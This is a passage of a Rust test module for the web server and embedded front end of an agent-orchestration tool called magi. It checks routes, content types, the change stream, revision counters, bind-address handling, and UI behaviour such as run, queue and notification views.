11030 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11031 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11032 }
11033
11034 #[tokio::test]
11035 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11036 let f = Fixture::start().await;
11037 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11038
11039 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11040
11041 assert_eq!(res.status, 200);
11042 assert!(
11043 res.headers
11044 .contains("content-type: text/plain; charset=utf-8"),
11045 "a browser must render it, not download it: {}",
11046 res.headers
11047 );
11048 assert!(
11052 res.body.contains("20260902-140501-a1b2"),
11053 "the report is about the run that was asked for: {}",
11054 res.body
11055 );
11056 }
11057
11058 #[tokio::test]
11059 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11060 let f = Fixture::start().await;
11061
11062 let html = f.get("/").await;
11063 let css = f.get("/app.css").await;
11064 let js = f.get("/app.js").await;
11065
11066 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11067 assert!(
11068 html.headers
11069 .contains("content-type: text/html; charset=utf-8")
11070 );
11071 assert!(css.headers.contains("content-type: text/css"));
11072 assert!(js.headers.contains("content-type: text/javascript"));
11073 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11074 }
11075
11076 #[test]
11077 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11078 let body = |name: &str| {
11079 let at = APP_JS
11080 .find(name)
11081 .unwrap_or_else(|| panic!("{name} missing"));
11082 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11083 };
11084 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11085 let note = body("function landRoundNote");
11086 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11087 assert!(note.contains("Land round ${round}"));
11088 let land = body("function renderLand");
11089 let note_at = land
11090 .find("landRoundNote(pr)")
11091 .expect("renderLand uses the note");
11092 assert!(
11093 note_at
11094 < land
11095 .find("roundRail(pr)")
11096 .expect("renderLand uses the rail")
11097 );
11098 }
11099
11100 #[test]
11101 fn the_runs_page_redesign_keeps_its_guards() {
11102 let body = |name: &str| {
11103 let at = APP_JS
11104 .find(name)
11105 .unwrap_or_else(|| panic!("{name} missing"));
11106 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11107 };
11108 let land = body("function renderLand");
11110 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11111 assert!(
11112 !land.contains("box.append("),
11113 "renderLand must use append()"
11114 );
11115 assert!(land.contains("append(box, ["));
11116 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11118 assert!(
11119 body("function applyRoute")
11120 .contains("route.name !== state.route.name || route.id !== state.route.id")
11121 );
11122 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11124 assert!(!INDEX_HTML.contains("advise-converge"));
11125 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11126 assert!(APP_JS.contains("provisional"));
11127 for id in [
11128 "run-tab-overview",
11129 "run-tab-timeline",
11130 "run-tab-report",
11131 "run-report",
11132 "runs-scope",
11133 ] {
11134 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11135 }
11136 assert!(!INDEX_HTML.contains("runs-tree"));
11137 assert!(!INDEX_HTML.contains("run-raw-panel"));
11138 assert!(APP_JS.contains("resume"));
11140 assert!(APP_JS.contains("unreadable"));
11142 }
11143
11144 #[test]
11145 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11146 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11147 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11148 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11149 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11150 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11151 assert!(APP_JS.contains("unreadable` : null"));
11153 }
11154
11155 #[test]
11156 fn the_run_detail_payload_says_whether_the_run_is_done() {
11157 for (status, done) in [
11159 (RunStatus::Superseded, true),
11160 (RunStatus::Blocked, true),
11161 (RunStatus::Landing, false),
11162 ] {
11163 let mut state = RunState::new(
11164 std::path::PathBuf::from("/repo"),
11165 "main".to_owned(),
11166 "abc".to_owned(),
11167 "x".to_owned(),
11168 crate::config::Config::default(),
11169 );
11170 state.status = status;
11171 let v = serde_json::to_value(RunDetailView::of(
11172 state,
11173 crate::run::Liveness::Unknown,
11174 None,
11175 None,
11176 None,
11177 ))
11178 .unwrap();
11179 assert_eq!(v["done"], done, "{status:?}");
11180 }
11181 }
11182
11183 fn has_strong(nodes: &[md::Node]) -> bool {
11185 serde_json::to_string(nodes).unwrap().contains("strong")
11186 }
11187
11188 #[test]
11189 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11190 let mut state = RunState::new(
11191 std::path::PathBuf::from("/repo"),
11192 "main".to_owned(),
11193 "abc".to_owned(),
11194 "x".to_owned(),
11195 crate::config::Config::default(),
11196 );
11197 let proposal = |approach: &str| {
11198 serde_json::json!({
11199 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11200 })
11201 };
11202 state.advice = Some(
11203 serde_json::from_value(serde_json::json!({
11204 "records": [
11205 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11206 "proposal": proposal("do **this**")},
11207 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11208 ],
11209 "synthesis": "- one\n- **two**\n\n`code`",
11210 }))
11211 .unwrap(),
11212 );
11213 state.candidates = serde_json::from_value(serde_json::json!([
11214 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11215 "summary": "did **it**"},
11216 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11217 ]))
11218 .unwrap();
11219 state.reviews = serde_json::from_value(serde_json::json!([{
11222 "round": 1, "head": "h",
11223 "reviews": [{
11224 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11225 "findings": [
11226 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11227 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11228 ],
11229 }],
11230 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11231 "fix": {"agent": "a", "notes": "fixed **it**",
11232 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11233 }, {"round": 2, "head": "h2", "reviews": []}]))
11234 .unwrap();
11235
11236 let v = serde_json::to_value(RunDetailView::of(
11237 state,
11238 crate::run::Liveness::Unknown,
11239 None,
11240 None,
11241 None,
11242 ))
11243 .unwrap();
11244
11245 let strong = |p: &str| {
11246 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11247 assert!(n.to_string().contains("strong"), "{p}: {n}");
11248 };
11249 strong("/advice_md/synthesis");
11250 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11251 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11252 strong("/advice_md/approaches/0");
11253 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11254 strong("/candidate_summaries_md/0");
11255 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11256 strong("/reviews_md/0/reviewers/0/summary");
11257 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11258 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11259 assert!(f[1].to_string().contains("strong"));
11260 strong("/reviews_md/0/reconsideration/0");
11261 strong("/reviews_md/0/fix/notes");
11262 strong("/reviews_md/0/fix/rejected/0");
11263 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11264 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11265 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11267 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11268 }
11269
11270 #[test]
11271 fn a_run_without_advice_has_no_advice_md() {
11272 let state = RunState::new(
11273 std::path::PathBuf::from("/repo"),
11274 "main".to_owned(),
11275 "abc".to_owned(),
11276 "x".to_owned(),
11277 crate::config::Config::default(),
11278 );
11279 let p = run_prose_md(&state);
11280 assert!(p.advice_md.is_none());
11281 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11282 }
11283
11284 #[test]
11285 fn a_question_view_carries_markdown_for_each_thread_turn() {
11286 let home = TempDir::new().unwrap();
11287 let store = ask::Questions::at(home.path().join("questions"));
11288 let mut q = Question::new(
11289 "run".to_owned(),
11290 "implement".to_owned(),
11291 "impl-A".to_owned(),
11292 "which?".to_owned(),
11293 String::new(),
11294 Vec::new(),
11295 );
11296 q.say("plain words").unwrap();
11297 q.reply("use **this**", Vec::new()).unwrap();
11298 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11299 let bodies = &v["thread_bodies_md"];
11300 assert_eq!(bodies.as_array().unwrap().len(), 2);
11301 assert!(!bodies[0].to_string().contains("strong"));
11302 assert!(bodies[1].to_string().contains("strong"));
11303 }
11304
11305 #[test]
11306 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11307 assert!(APP_JS.contains("function landView(run, raw) {"));
11311 assert!(
11312 APP_JS.contains(
11313 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11314 )
11315 );
11316 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11317 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11318 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11319 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11320 }
11321
11322 #[test]
11323 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11324 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11325 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11326 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11327 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11328 }
11329
11330 #[test]
11331 fn review_rounds_label_a_distinct_verified_head() {
11332 assert!(APP_JS.contains("round.verified_head"));
11333 assert!(APP_JS.contains("verified HEAD"));
11334 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11335 }
11336
11337 #[test]
11338 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11339 assert!(APP_JS.contains("blocked: { glyph:"));
11343 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11344
11345 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11349 assert!(
11350 APP_JS.contains(
11351 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11352 ),
11353 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11354 );
11355 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11359
11360 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11364 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11365 assert!(
11366 APP_JS.contains("location.hash = \"#/questions\";"),
11367 "a question node must jump to the Questions screen, not pretend to be a task"
11368 );
11369
11370 assert!(APP_JS.contains("Resolved questions"));
11373 assert!(APP_JS.contains("r.answersList.append("));
11374 assert!(APP_CSS.contains(".task-answers"));
11375 {
11376 let start = APP_JS
11377 .find("function updateTalkTaskRow")
11378 .expect("updateTalkTaskRow");
11379 let body = &APP_JS[start..];
11380 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11381 assert!(
11382 body.contains(
11383 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11384 ),
11385 "a chat-filed task row must link to the task page"
11386 );
11387 assert!(
11388 !body.contains("#/runs/") && !body.contains("#/queue/"),
11389 "the row must not branch to a run or the queue card"
11390 );
11391 assert!(APP_CSS.contains(".talk-task-link"));
11392 }
11393 }
11394
11395 #[test]
11396 fn a_task_notification_links_to_the_task_page() {
11397 let start = APP_JS
11399 .find("function noticeLink(")
11400 .expect("noticeLink exists");
11401 let body = &APP_JS[start..];
11402 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11403 assert!(
11404 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11405 "a task notice's link must target the task page"
11406 );
11407 assert!(
11408 !body.contains("#/queue/"),
11409 "regression: the task link must not go back to the Backlog route"
11410 );
11411 assert!(
11412 APP_JS.contains(
11413 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11414 ),
11415 "`#/tasks/<id>` must parse into the task route"
11416 );
11417
11418 assert!(
11420 APP_JS.contains(
11421 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11422 ),
11423 "`#/queue/<id>` must parse into a route carrying that id"
11424 );
11425
11426 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11430 assert!(APP_JS.contains("function consumeQueueFocus()"));
11431 assert!(APP_JS.contains("jumpToTask(id)"));
11432 }
11433
11434 #[test]
11437 fn chat_rows_put_the_title_alone_on_the_first_line() {
11438 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11439 assert!(APP_CSS.contains(
11440 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11441 ));
11442 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11443 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11444 }
11445
11446 #[test]
11447 fn run_rows_put_the_title_alone_on_the_first_line() {
11448 assert!(
11449 APP_CSS.contains(
11450 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11451 )
11452 );
11453 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11454 assert!(APP_JS.contains("class: \"card run-card\""));
11455 assert!(APP_JS.contains("class: \"repo run-id\""));
11456 }
11457
11458 #[test]
11462 fn wide_screens_show_list_and_preview_side_by_side() {
11463 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11465 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11466 assert!(APP_CSS.contains("main[data-split]"));
11467 assert!(APP_CSS.contains("body[data-split]"));
11468
11469 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11471 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11472 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11473 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11474 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11475
11476 assert!(APP_JS.contains("function markSelected() {"));
11478 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11479 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11480 assert!(
11482 APP_CSS.contains(
11483 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11484 )
11485 );
11486
11487 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11489 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11490 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11491 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11492
11493 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11497 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11498 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11499 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11500
11501 assert!(APP_JS.contains("sandbox: \"\""));
11503 assert!(!APP_JS.contains("sandbox: \"allow"));
11504 }
11505
11506 #[test]
11507 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11508 assert!(
11517 APP_JS.contains(
11518 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11519 ),
11520 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11521 recursive renderQueue() call has nothing left to jump to"
11522 );
11523 assert!(
11524 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11525 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11526 arrives later still gets it"
11527 );
11528 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11529 assert!(APP_JS.contains("is not in the current Backlog."));
11530 assert!(APP_JS.contains("li.card[data-task-id=\""));
11531 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11532 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11533 assert!(APP_CSS.contains(".card-permalink"));
11534 assert!(APP_CSS.contains(".queue-focus-status"));
11535 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11536 }
11537
11538 #[test]
11539 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11540 assert!(
11548 APP_JS.contains(
11549 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11550 ),
11551 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11552 );
11553 }
11554
11555 #[test]
11556 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11557 assert!(
11558 APP_JS.contains("round.verified_head !== round.head"),
11559 "a round that verified an earlier commit must be visibly distinct from one that \
11560 verified the head reviewers are looking at now"
11561 );
11562 assert!(
11563 APP_JS.contains("round.verified_at"),
11564 "when a check ran must be on the wire, not just which commit"
11565 );
11566 assert!(
11567 APP_JS.contains("resource_blocked"),
11568 "a command magi never got to run (shared build cache contention) must not render \
11569 the same as a command that ran and failed"
11570 );
11571 }
11572
11573 #[test]
11574 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11575 assert!(
11583 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11584 "every KPI tile built through statusTile() must route its click through \
11585 openRunsFiltered, the single place that sets the Runs filter"
11586 );
11587 for (label, status) in [
11588 ("Merged", "merged"),
11589 ("Ready", "ready"),
11590 ("Blocked", "blocked"),
11591 ("Stalled", "stalled"),
11592 ] {
11593 let call = format!("statusTile(\"{label}\", t.{status}, ");
11594 assert!(
11595 APP_JS.contains(&call),
11596 "expected the {label} KPI tile built via {call}..."
11597 );
11598 assert!(
11599 APP_JS.contains(&format!("status === \"{status}\"")),
11600 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11601 compare a run against, not one invented only for the stats tile"
11602 );
11603 }
11604 assert!(
11605 APP_JS.contains("function openRunsFiltered(status)"),
11606 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11607 );
11608 assert!(
11609 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11610 "matchesFilter must gate on the exact status a KPI tile named"
11611 );
11612 assert!(
11620 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11621 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11622 hashchange event that may never fire"
11623 );
11624 }
11625
11626 #[test]
11627 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11628 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11634 assert!(
11635 APP_JS.contains(
11636 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11637 ),
11638 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11639 guard for an incompatible tree section"
11640 );
11641 }
11642
11643 #[test]
11644 fn every_stats_queue_tile_names_a_real_queue_section() {
11645 assert!(
11651 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11652 "every queue tile built through sectionTile() must route its click through \
11653 openQueueSectionFocus"
11654 );
11655 for key in ["upnext", "running", "done", "held", "blocked"] {
11656 assert!(
11657 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11658 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11659 );
11660 }
11661 for line in [
11665 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11666 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11667 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11668 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11669 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11670 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11671 ] {
11672 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11673 }
11674 }
11675
11676 #[test]
11677 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11678 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11685 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11686 assert!(APP_JS.contains("function revealQueueSection(details)"));
11687 assert!(
11688 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11689 "renderQueue() must consume both focus channels on every pass"
11690 );
11691 assert!(
11692 APP_JS.contains(
11693 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11694 ),
11695 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11696 the recursive renderQueue() call has nothing left to reveal"
11697 );
11698 assert!(
11699 APP_JS.contains(
11700 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11701 ),
11702 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11703 );
11704 assert!(
11712 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11713 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11714 hashchange event that may never fire"
11715 );
11716 }
11717
11718 #[tokio::test]
11719 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11720 let f = Fixture::start().await;
11721
11722 let mut socket = tokio::net::TcpStream::connect(f.addr)
11723 .await
11724 .expect("connect");
11725 socket
11726 .write_all(
11727 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11728 )
11729 .await
11730 .expect("write request");
11731
11732 let mut seen = String::new();
11735 let mut buf = [0u8; 1024];
11736 while !seen.contains("event: change") {
11737 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11738 .await
11739 .expect("the stream must speak within five seconds")
11740 .expect("read");
11741 assert!(read > 0, "the server closed the change stream: {seen}");
11742 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11743 }
11744
11745 assert!(
11746 seen.to_lowercase()
11747 .contains("content-type: text/event-stream"),
11748 "the browser only reconnects automatically for a real SSE stream: {seen}"
11749 );
11750 let data = seen
11751 .lines()
11752 .find_map(|l| l.strip_prefix("data:"))
11753 .expect("a data line");
11754 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11755 assert!(
11756 payload["queue_rev"].is_u64()
11757 && payload["runs_rev"].is_u64()
11758 && payload["questions_rev"].is_u64()
11759 && payload["talks_rev"].is_u64()
11760 && payload["notifications_rev"].is_u64()
11761 && payload["loop_rev"].is_u64(),
11762 "the client needs one revision per store to know what to refetch, \
11763 and `talks_rev` is the only notification a standing talk gets - a \
11764 phone whose radio slept through a turn learns about it here, as \
11765 does one whose operator started the loop from another device: \
11766 {payload}"
11767 );
11768
11769 let health = f.get("/api/health").await.json();
11776 for key in [
11777 "queue_rev",
11778 "runs_rev",
11779 "questions_rev",
11780 "talks_rev",
11781 "notifications_rev",
11782 "loop_rev",
11783 ] {
11784 assert!(
11785 health[key].is_u64(),
11786 "health is the change stream's fallback and is missing `{key}`: {health}"
11787 );
11788 }
11789 }
11790
11791 #[tokio::test]
11792 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11793 let f = Fixture::start().await;
11794 let before = f.get("/api/health").await.json()["talks_rev"]
11795 .as_u64()
11796 .expect("talks_rev");
11797
11798 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11799 std::thread::sleep(Duration::from_millis(10));
11800 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11801 on_disk.turns.push(crate::talk::Turn {
11802 who: crate::talk::Who::Operator,
11803 body: "a new turn".to_owned(),
11804 at: Timestamp::now(),
11805 attachments: Vec::new(),
11806 usage: None,
11807 });
11808 f.talks().put(&mut on_disk).expect("record a turn");
11809
11810 let after = f.get("/api/health").await.json()["talks_rev"]
11811 .as_u64()
11812 .expect("talks_rev");
11813 assert_ne!(
11814 before, after,
11815 "a phone must be able to notice a talk's reply without polling every store"
11816 );
11817 }
11818
11819 #[test]
11820 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11821 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11825 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11826 }
11827 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11828 assert!("everywhere".parse::<Bind>().is_err());
11829 }
11830
11831 #[test]
11832 fn an_explicit_bind_address_is_taken_verbatim() {
11833 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11834
11835 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11836
11837 assert_eq!(addr, asked);
11838 assert!(
11839 warning.is_none(),
11840 "an operator who named an address gets no lecture"
11841 );
11842 }
11843
11844 #[test]
11845 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11846 let (addr, warning) = resolve_bind(&Bind::Auto);
11847
11848 match addr {
11855 IpAddr::V4(ip) if is_tailnet(&ip) => {
11856 assert!(warning.is_none(), "a tailnet address needs no warning");
11857 }
11858 other => {
11859 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11860 let warning = warning.expect("a fallback has to explain itself");
11861 assert!(
11862 warning.contains("127.0.0.1") && warning.contains("local-only"),
11863 "the warning says what happened and what it costs: {warning}"
11864 );
11865 }
11866 }
11867 }
11868
11869 #[test]
11870 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11871 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11875 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11876 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11877 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11878 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11879 }
11880
11881 #[test]
11882 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11883 let ids = vec![
11884 "20260902-140501-aaaa".to_owned(),
11885 "20260902-140502-aabb".to_owned(),
11886 ];
11887
11888 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11889 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11890 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11891
11892 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11893 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11894 assert_eq!(short, "20260902-140502-aabb");
11895 }
11896 #[tokio::test]
11897 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11898 let fx = Fixture::start().await;
11904 let id = panel(
11905 &fx,
11906 "<img src=\"shot.png\">",
11907 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11908 );
11909
11910 let doc = fx
11912 .get(&format!("/api/questions/{id}/panel/index.html"))
11913 .await;
11914 assert_eq!(doc.status, 200, "{}", doc.body);
11915 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11916
11917 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11918 assert_eq!(sibling.status, 200, "{}", sibling.body);
11919 assert_eq!(sibling.header("content-type"), Some("image/png"));
11920 assert_eq!(
11921 sibling.header("content-security-policy"),
11922 Some(PANEL_CSP),
11923 "the sibling route must carry the same policy as the asset route"
11924 );
11925
11926 assert_eq!(
11929 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11930 200
11931 );
11932 }
11933
11934 #[test]
11935 fn runs_revision_moves_when_deleting_an_older_run() {
11936 let temp = TempDir::new().expect("tempdir");
11937 let runs = temp.path().join("runs");
11938 std::fs::create_dir_all(&runs).expect("create runs dir");
11939
11940 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11941
11942 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11943 std::thread::sleep(Duration::from_millis(10));
11944 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11945
11946 let rev_before = runs_revision(&runs);
11947 assert!(rev_before > 0);
11948
11949 let old_dir = runs.join("20260901-100000-old1");
11950 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11951
11952 let rev_after = runs_revision(&runs);
11953 assert_ne!(
11954 rev_before, rev_after,
11955 "deleting an older run must change the revision so other clients see the deletion"
11956 );
11957 }
11958
11959 fn write_state(runs: &FsPath, state: &RunState) {
11964 let dir = runs.join(&state.id);
11965 std::fs::create_dir_all(&dir).expect("run dir");
11966 std::fs::write(
11967 dir.join("run.json"),
11968 serde_json::to_string_pretty(state).expect("serialize run"),
11969 )
11970 .expect("write run.json");
11971 }
11972
11973 #[test]
11978 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11979 let temp = TempDir::new().expect("tempdir");
11980 let runs = temp.path().join("runs");
11981 std::fs::create_dir_all(&runs).expect("create runs dir");
11982 let mut state = RunState::new(
11983 PathBuf::from("/repo/magi"),
11984 "main".to_owned(),
11985 "0123456789abcdef".to_owned(),
